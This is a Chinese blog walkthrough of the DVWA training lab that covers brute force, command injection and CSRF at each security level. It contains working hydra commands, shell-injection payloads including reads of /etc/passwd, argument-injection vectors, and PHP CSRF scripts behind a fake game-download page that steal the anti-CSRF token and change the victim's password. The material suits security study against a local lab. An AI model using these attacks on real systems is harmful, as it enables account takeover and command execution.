dvwa:暴力破解、命令注入、csrf全难度详解

ops/2024/10/9 9:22:11/

暴力破解

easy模式
hydra -L /usr/share/wordlists/SecLists-master/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/SecLists-master/Passwords/500-worst-passwords.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:H=Cookie\: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
添加登陆路径、用户名占位符、密码占位符、添加请求头、错误返回的字符串
http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:H=Cookie\: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
登陆路径:/dvwa/vulnerabilities/brute/
用户名和密码占位符:username=^USER^&password=^PASS^&Login=Login#
添加请求头:H=Cookie\: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e(注意冒号转位)
添加错误返回的字符串:Username and/or password incorrect.
​
[80][http-get-form] host: 192.168.72.1   login: admin   password: password
​
medium一样能爆破出,但会睡眠2秒high模式加了一个token,但是加了token跟不加token都能爆破出来
​
hydra -L usernames.txt -P password.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login&user_token=564d1b908f7b4a9e975d00bc707fab3e:H=Cookie\: security=high; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
hydra -L usernames.txt -P password.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=high; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
hydra -L usernames.txt -P password.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=high;:Username and/or password incorrect."
impossible代码逻辑:
如果登录失败,更新数据库使得用户登录失败次数+1,如果登录失败次数超过3次,account_locked将为false,下次登陆时必须等待 15分钟才会将account_locked设置为true
但是就算等待了15分钟,代码并没有将登陆失败次数清零,所以一旦登陆失败一次,就直接锁住
​
注:impossible是post,其他难度都是get

命令注入

外部命令注入:

  • ;(分号):允许您按顺序执行多个命令。

  • &&(AND):仅当第一个命令成功(返回零退出状态)时才执行第二个命令。

  • ||(或):仅当第一个命令失败(返回非零退出状态)时才执行第二个命令。

  • &(后台):在后台执行命令,允许用户继续使用shell。

  • |(管道):获取第一个命令的输出并将其用作第二个命令的输入。

  • < (重定向) :将后者输出重定向前者输入

    这种方法甚至不需要<前面是个正常的linux命令、即使报错也会输出<后面的执行结果
payload:
127.0.0.1 & whoami
适用于linux(这种方法甚至不需要<前面是个正常的linux命令、即使报错也会输出<后面的执行结果):
127.0.0.1 < "`whoami`"
127.0.0.1 < "$(whoami)"
medium'&&' => '',';' => ''payload:
127.0.0.1 & whoami
127.0.0.1 | whoami
127.0.0.1 &;& whoami
适用于linux:
127.0.0.1 < "`whoami`"
127.0.0.1 < "$(whoami)"
high'&'  => '',';'  => '','| ' => '','-'  => '','$'  => '','('  => '',')'  => '','`'  => '','||' => '',
"| "成为了黑名单,但是"|"去掉空格还能使用
​
payload:
127.0.0.1 |whoami
impossible
通过.将ip分开,判断分离的数量是否为4,且判断这4部分是否都是数字,这两个条件成立,才会执行ping命令
命令注入其他扩展
参数注入

当您只能将参数附加到现有命令时,即可获得命令执行权。

查询参数注入的网站:Argument Injection Vectors

  • chrome

    chrome '--gpu-launcher="id>/tmp/foo"'
  • SSH

    ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
  • 查询语言

    psql -o'|id>/tmp/foo'
字符串内部命令注入
  • 反引号

  • $()

  •  

    payload1:

    echo "`ip a`" echo "$(ip a)" ​ payload2: 其他命令< "`whoami`"
空格替换
${IFS}替换
cat${IFS}flag.txt
​
重定向符号替换
cat</etc/passwd
127.0.0.1<"$(whoami)"

csrf

基本思路:构造一个html钓鱼网页,钓鱼网页上有访问dvwa网站修改密码的链接,但是我发现一个问题,就是如果钓鱼网页上直接就是:http://192.168.72.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#的话,我们只能操控get请求的数据,不能操控header的数据和post提交的数据,而且最大的问题在于被攻击的人点击这个链接,请求头里有:H=Cookie\: security=impossible; PHPSESSID=481b089a941d0aecc848227e2e90202e,也就是说默认就是困难难度而且网页get请求不能操控header修改不了难度,所以需要使用vps写一个php服务构造恶意请求并发送

easy

前端钓鱼代码

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h3>下载游戏</h3><a href="http://192.168.72.1/dvwa/csrf.php">赛博朋克2077</a>
</body>
</html>
 

php伪造请求(csrf.php)

<?php
// 设置要返回的 HTML 内容
$htmlContent = '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom Page</title>
</head>
<body>
<h1>赛博朋克下载</h1>
<p>赛博朋克下载成功</p>
</body>
</html>
';
​
// 设置响应头,告诉浏览器返回的内容是 HTML
header('Content-Type: text/html');
​
// 输出 HTML 内容
echo $htmlContent;
​
$url = 'http://192.168.72.1/dvwa/vulnerabilities/csrf/'; // 要发送请求的 URL
​
// GET 数据
$get_data = array('password_new' => '6666','password_conf' => '6666','Change' => 'Change'
);
​
// 自定义请求头
$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=easy',
);
​
// 初始化 cURL
$ch = curl_init();
​
// 设置 URL 和其他 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($get_data)); // 将 GET 数据添加到 URL
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求
$response = curl_exec($ch);
​
// 检查是否有错误发生
if($response === false) {echo 'cURL error: ' . curl_error($ch);
} else {// 打印响应echo $response;
}
​
// 关闭 cURL 资源
curl_close($ch);
?>

点击后:

同时修改密码成功

medium

需要简单配置:

  • phpstudy给网站个域名,如下图

  • linux攻击机器添加host头

vim /etc/hosts
192.168.72.1    www.oswe.com

为什么需要以上配置:

因为后端代码的判断
变量$_SERVER[ 'HTTP_REFERER' ]是否有$_SERVER[ 'SERVER_NAME' ],如果有,则说明当前修改密码的请求是从本网站跳转过来的,而不是从钓鱼网站跳转过来的,
而$_SERVER[ 'SERVER_NAME' ]这个变量实际上就是你的域名,为了能使我们的linux能解析到域名所以添加hosts头

源码的判断:

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ){# 正常
}
else{# 错误
}
​
其中
$_SERVER[ 'HTTP_REFERER' ] = 请求头里的referer  
$_SERVER[ 'SERVER_NAME' ] = 域名www.oswe.com
​
如果请求头的referer中存在域名www.oswe.com,执行正常功能

篡改请求头referer

$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=medium','Referer: http://www.oswe.com/dvwa/vulnerabilities/csrf/'
);

前端钓鱼代码

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h3>下载游戏</h3><a href="http://192.168.72.1/dvwa/csrf.php">赛博朋克2077</a>
</body>
</html>

后端php伪造恶意请求代码(csrf.php)

<?php
// 设置要返回的 HTML 内容
$htmlContent = '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom Page</title>
</head>
<body>
<h1>赛博朋克下载</h1>
<p>赛博朋克下载成功</p>
</body>
</html>
';
​
// 设置响应头,告诉浏览器返回的内容是 HTML
header('Content-Type: text/html');
​
// 输出 HTML 内容
echo $htmlContent;
​
$url = 'http://192.168.72.1/dvwa/vulnerabilities/csrf/'; // 要发送请求的 URL
​
// GET 数据
$get_data = array('password_new' => '6666','password_conf' => '6666','Change' => 'Change'
);
​
// 自定义请求头
$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=medium','Referer: http://www.oswe.com/dvwa/vulnerabilities/csrf/'
);
​
// 初始化 cURL
$ch = curl_init();
​
// 设置 URL 和其他 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($get_data)); // 将 GET 数据添加到 URL
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求
$response = curl_exec($ch);
​
// 检查是否有错误发生
if($response === false) {echo 'cURL error: ' . curl_error($ch);
} else {// 打印响应echo $response;
}
​
// 关闭 cURL 资源
curl_close($ch);
?>
hard
array_key_exists 函数
— 检查数组里是否有指定的键名或索引
数组里有键 key 时,array_key_exists() 返回 true。 key 可以是任何能作为数组索引的值。
主要检查提交的数据是否完整:
if (array_key_exists("user_token", $_REQUEST) &&array_key_exists("password_new", $_REQUEST) &&array_key_exists("password_conf", $_REQUEST) &&array_key_exists("Change", $_REQUEST))
​
checkToken 函数
检测请求包的token和用户的会话token是否一致:
if ($_SESSION[ 'session_token' ] === $_REQUEST["user_token"])
关于token
这里的token是一开始请求固定在html页面的表单里的,每一次的请求都会更新一次token的值,我们需要先劫持token然后再伪造请求,固定在表单里的token如下:
​
<form action="#" method="GET">New password:<br /><input type="password" AUTOCOMPLETE="off" name="password_new"><br />Confirm new password:<br /><input type="password" AUTOCOMPLETE="off" name="password_conf"><br /><br /><input type="submit" value="Change" name="Change"><input type='hidden' name='user_token' value='8a5cd4cae342ac86000a7abb1d65a5fa' />
</form>

思路:

  • 构造恶意链接,链接向dvwa的high模式下的csrf页面请求两次

    • 第一次请求是为了获取到固定在表单里的token

    • 第二次请求是为了使用这个token来修改密码

前端钓鱼代码

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h3>下载游戏</h3><a href="http://192.168.72.1/dvwa/csrf.php">赛博朋克2077</a><a href="http://192.168.72.1/dvwa/csrf_token.php">巫师3</a>
</body>
</html>
​
其中csrf.php是之前的没有token模式的恶意php请求
csrf_token.php是我们请求两次的恶意php请求

php恶意请求代码csrf_token.php

<?php
// 设置要返回的 HTML 内容
$htmlContent = '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom Page</title>
</head>
<body>
<h1>赛博朋克下载</h1>
<p>赛博朋克下载成功</p>
</body>
</html>
';
// 初始化 cURL
$ch = curl_init();
​
$url = 'http://192.168.72.1/dvwa/vulnerabilities/csrf/';
​
$headers = array('Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=high','Referer: http://www.oswe.com/dvwa/vulnerabilities/csrf/'
);
​
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求并将结果保存到 $html 变量中
$html = curl_exec($ch);
​
​
// 创建一个 DOMDocument 对象并载入 HTML 内容
$dom = new DOMDocument();
@$dom->loadHTML($html);
​
// 获取所有的 input 标签
$inputElements = $dom->getElementsByTagName('input');
​
$userTokenValue = null;
​
// 遍历所有的 input 标签,查找 name 为 user_token 的元素
foreach ($inputElements as $element) {if ($element->getAttribute('name') === 'user_token') {// 输出 user_token 的值$userTokenValue = $element->getAttribute('value');break; // 找到后跳出循环}
}
if ($userTokenValue) {echo "使用了如下token修改密码:". $userTokenValue;
} else {echo "user_token not found";
}
​
​
// 设置响应头,告诉浏览器返回的内容是 HTML
header('Content-Type: text/html');
​
// 输出 HTML 内容
echo $htmlContent;
​
// GET 数据
$get_data = array('password_new' => '8888','password_conf' => '8888','Change' => 'Change','user_token' => $userTokenValue
);
​
​
// 设置 URL 和其他 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($get_data)); // 将 GET 数据添加到 URL
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求
$response = curl_exec($ch);
​
// 检查是否有错误发生
// if($response === false) {
//     echo 'cURL error: ' . curl_error($ch);
// } else {
//     // 打印响应
//     echo $response;
// }
​
// 关闭 cURL 资源
curl_close($ch);
?>

这里点的是巫师3,但显示下载成功的是赛博朋克,是因为这个返回页面我懒得该,直接返回的字符串

impossible

修改密码前,输入当前密码来身份验证,导致csrf请求伪造无法获取用户凭据


http://www.ppmy.cn/ops/123105.html

相关文章

毕业设计 深度学习水果识别

文章目录 1 前言2 开发简介3 识别原理3.1 传统图像识别原理3.2 深度学习水果识别 4 数据集5 部分关键代码5.1 处理训练集的数据结构5.2 模型网络结构5.3 训练模型 6 识别效果 1 前言 Hi&#xff0c;大家好&#xff0c;这里是丹成学长&#xff0c;今天做一个 基于深度学习的水果…

Win10 安装 Redis 数据库

一、Redis 数据库介绍 Redis 是一个开源的高性能键值对&#xff08;key-value&#xff09;的非关系型数据库。它通常用作数据结构服务器&#xff0c;支持多种类型的数据结构&#xff0c;如字符串&#xff08;strings&#xff09;、哈希&#xff08;hashes&#xff09;、列表&a…

【什么是回调机制?理解回调机制及微信支付回调】

文章目录 一.什么是回调机制?二.Java中的回调机制实现方式1.接口回调2.通过匿名类或Lambda表达式实现回调3.异步回调 三.看下微信开发平台&#xff0c;了解支付微信的支付回调实现1.小程序下单&#xff1a;2.小程序调起支付3.支付通知(异步回调)4. 结合微信开放平台理解支付回…

flutter_鸿蒙next_Dart基础③函数

目录 说在前面 1. 函数的基本定义 例子 代码解释 2. 函数的调用 代码解释 3. 可选参数与命名参数 可选参数 代码解释 调用示例 命名参数 代码解释 调用示例 4. 匿名函数与高阶函数 例子 代码解释 说在最后 说在前面 在 Dart 编程语言中&#xff0c;函数是构建…

容器化技术:Docker的基本概念和使用

在现代软件开发和运维中&#xff0c;容器化技术已经成为一种不可或缺的工具。Docker作为容器化技术的代表&#xff0c;以其轻量级、可移植性和隔离性等特点&#xff0c;赢得了广泛的关注和应用。本文将详细介绍Docker的基本概念和使用方法&#xff0c;帮助读者快速上手Docker容…

代码随想录day22:回溯part4

491.递增子序列 class Solution {List<List<Integer>> result new ArrayList<>();List<Integer> path new ArrayList<>();public List<List<Integer>> findSubsequences(int[] nums) {backTracking(nums, 0);return result;}priv…

vue快速上手

文章目录 vue快速上手vue简述框架介绍mvvm vue使用1.npm2.vue cli1.打开 vue 官网2.快速上手3.切换目录到我们创建的应用位置&#xff0c;安装依赖3.运行vue项目 vue快速上手 vue简述 框架介绍 mvvm vue使用 1.npm 包管理器 安装nodejs就好了 2.vue cli 1.打开 vue 官网…

OJ在线评测系统 思考如何进行微服务的划分 业务功能 占用端口 公共服务 依赖服务 路由

思考 微服务是一种架构风格 微服务就是把一个项目拆分成多个独立的不封 而且多个服务都是可以运行的 每个服务都会占用线程 传统的IT行业软件都是独立系统的堆砌 这些系统总结来说就是可拓展性不高 可靠性不高 维护成本广告 微服务的每个模块都是独立的 而且可以用有多重存…